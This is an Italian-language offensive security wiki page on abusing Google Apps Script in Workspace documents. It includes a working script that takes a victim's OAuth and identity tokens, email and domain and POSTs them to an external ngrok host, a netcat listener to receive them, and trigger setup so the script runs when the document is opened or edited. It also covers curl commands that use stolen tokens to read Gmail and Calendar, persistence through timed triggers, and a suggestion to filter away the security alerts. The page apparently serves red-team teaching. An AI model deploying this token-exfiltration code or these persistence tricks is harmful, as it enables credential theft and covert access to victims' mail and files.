# GWS - App Scripts
{{#include ../../../banners/hacktricks-training.md}}
## App Scripts
App Scripts è **codice che verrà attivato quando un utente con permessi di modifica accede al documento a cui è collegato l'App Script** e dopo **aver accettato il prompt OAuth**.\
Possono anche essere impostati per essere **eseguiti ogni certo tempo** dal proprietario dell'App Script (Persistenza).
### Crea App Script
Ci sono diversi modi per creare un App Script, anche se i più comuni sono **da un Documento Google (di qualsiasi tipo)** e come **progetto autonomo**:
Crea un progetto legato al contenitore da Google Docs, Sheets o Slides
1. Apri un documento Docs, un foglio di calcolo Sheets o una presentazione Slides.
2. Clicca su **Estensioni** > **Google Apps Script**.
3. Nell'editor di script, clicca su **Progetto senza titolo**.
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
Crea un progetto autonomo
Per creare un progetto autonomo da Apps Script:
1. Vai a [`script.google.com`](https://script.google.com/).
2. Clicca su **Nuovo Progetto**.
3. Nell'editor di script, clicca su **Progetto senza titolo**.
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
Crea un progetto autonomo da Google Drive
1. Apri [Google Drive](https://drive.google.com/).
2. Clicca su **Nuovo** > **Altro** > **Google Apps Script**.
Crea un progetto legato al contenitore da Google Forms
1. Apri un modulo in Google Forms.
2. Clicca su Altro more_vert > **Editor di script**.
3. Nell'editor di script, clicca su **Progetto senza titolo**.
4. Dai un nome al tuo progetto e clicca su **Rinomina**.
Crea un progetto autonomo utilizzando lo strumento da riga di comando clasp
`clasp` è uno strumento da riga di comando che ti consente di creare, estrarre/inviare e distribuire progetti Apps Script da un terminale.
Consulta la [Guida all'interfaccia della riga di comando utilizzando `clasp`](https://developers.google.com/apps-script/guides/clasp) per ulteriori dettagli.
## Scenario App Script
### Crea Google Sheet con App Script
Inizia creando un App Script, la mia raccomandazione per questo scenario è di creare un Google Sheet e andare su **`Estensioni > App Scripts`**, questo aprirà un **nuovo App Script per te collegato al foglio**.
### Token di accesso
Per dare accesso al token OAuth devi cliccare su **`Servizi +` e aggiungere ambiti come**:
- **AdminDirectory**: Accesso a utenti e gruppi della directory (se l'utente ha abbastanza permessi)
- **Gmail**: Per accedere ai dati di gmail
- **Drive**: Per accedere ai dati di drive
- **Google Sheets API**: Affinché funzioni con il trigger
Per modificare tu stesso i **scopi necessari** puoi andare nelle impostazioni del progetto e abilitare: **`Mostra il file di manifest "appsscript.json" nell'editor`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
Per catturare la richiesta puoi semplicemente eseguire:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permessi richiesti per eseguire lo Script App:
> [!WARNING]
> Poiché viene effettuata una richiesta esterna, il prompt OAuth **chiederà anche il permesso di raggiungere endpoint esterni**.
### Crea Trigger
Una volta letto l'App, clicca su **⏰ Triggers** per creare un trigger. Come **funzione** da eseguire scegli **`getToken`**, eseguito al deployment **`Head`**, nella sorgente evento seleziona **`From spreadsheet`** e tipo di evento seleziona **`On open`** o **`On edit`** (in base alle tue esigenze) e salva.
Nota che puoi controllare i **runs degli App Scripts nella scheda Esecuzioni** se vuoi fare debug di qualcosa.
### Condivisione
Per **attivare** lo **Script App** la vittima deve connettersi con **Accesso Editor**.
> [!TIP]
> Il **token** utilizzato per eseguire lo **Script App** sarà quello del **creatore del trigger**, anche se il file è aperto come Editor da altri utenti.
### Abusare dei documenti Condivisi con Me
> [!CAUTION]
> Se qualcuno ti ha **condiviso un documento con Script App e un trigger utilizzando il Head** dello Script App (non un deployment fisso), puoi modificare il codice dello Script App (aggiungendo ad esempio le funzioni per rubare il token), accedervi, e lo **Script App verrà eseguito con i permessi dell'utente che ti ha condiviso il documento**! (nota che il token OAuth del proprietario avrà come scope di accesso quelli dati quando è stato creato il trigger).
>
> Una **notifica verrà inviata al creatore dello script indicando che qualcuno ha modificato lo script** (Che ne dici di usare i permessi di gmail per generare un filtro per prevenire l'allerta?)
> [!TIP]
> Se un **attaccante modifica gli scope dello Script App**, gli aggiornamenti **non verranno applicati** al documento fino a quando non viene creato un **nuovo trigger** con le modifiche. Pertanto, un attaccante non sarà in grado di rubare il token del proprietario creatore con più scope di quelli impostati nel trigger che ha creato.
### Copiare invece di condividere
Quando crei un link per condividere un documento, viene creato un link simile a questo: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Se **cambi** la parte finale **"/edit"** in **"/copy"**, invece di accedervi, google ti chiederà se vuoi **generare una copia del documento:**
Se l'utente lo copia e accede, sia i **contenuti del documento che gli Script App verranno copiati**, tuttavia i **triggers non lo sono**, quindi **niente verrà eseguito**.
### Condivisione come Applicazione Web
Nota che è anche possibile **condividere uno Script App come un'applicazione Web** (nell'Editor dello Script App, distribuisci come applicazione Web), ma apparirà un avviso come questo:
Seguito dal **tipico prompt OAuth che chiede** i permessi necessari.
### Test
Puoi testare un token raccolto per elencare le email con:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users//messages" \
-H "Authorization: Bearer "
```
Elenca il calendario dell'utente:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script come Persistenza
Una opzione per la persistenza sarebbe **creare un documento e aggiungere un trigger per la funzione getToken** e condividere il documento con l'attaccante in modo che ogni volta che l'attaccante apre il file, **esfiltri il token della vittima.**
È anche possibile creare un App Script e farlo attivare ogni X tempo (come ogni minuto, ora, giorno...). Un attaccante che ha **credenziali compromesse o una sessione di una vittima potrebbe impostare un trigger temporale per l'App Script e leakare un token OAuth molto privilegiato ogni giorno**:
Basta creare un App Script, andare su Trigger, cliccare su Aggiungi Trigger e selezionare come sorgente evento Time-driven e selezionare le opzioni che meglio si adattano a te:
> [!CAUTION]
> Questo creerà un'email di avviso di sicurezza e un messaggio push sul tuo cellulare che ti avvisa di questo.
### Bypass della Finestra di Conferma Non Verificata del Documento Condiviso
Inoltre, se qualcuno ti ha **condiviso** un documento con **accesso in modifica**, puoi generare **App Scripts all'interno del documento** e il **PROPRIETARIO (creatore) del documento sarà il proprietario dell'App Script**.
> [!WARNING]
> Questo significa che il **creatore del documento apparirà come creatore di qualsiasi App Script** che chiunque con accesso in modifica crea al suo interno.
>
> Questo significa anche che l'**App Script sarà fidato dall'ambiente Workspace** del creatore del documento.
> [!CAUTION]
> Questo significa anche che se un **App Script esisteva già** e le persone hanno **concesso accesso**, chiunque con permesso di **Modifica** sul documento può **modificarlo e abusare di quell'accesso.**\
> Per abusare di questo hai anche bisogno che le persone attivino l'App Script. E un trucco interessante è **pubblicare lo script come un'app web**. Quando le **persone** che hanno già concesso **accesso** all'App Script accedono alla pagina web, **attiveranno l'App Script** (questo funziona anche usando i tag ``).
{{#include ../../../banners/hacktricks-training.md}}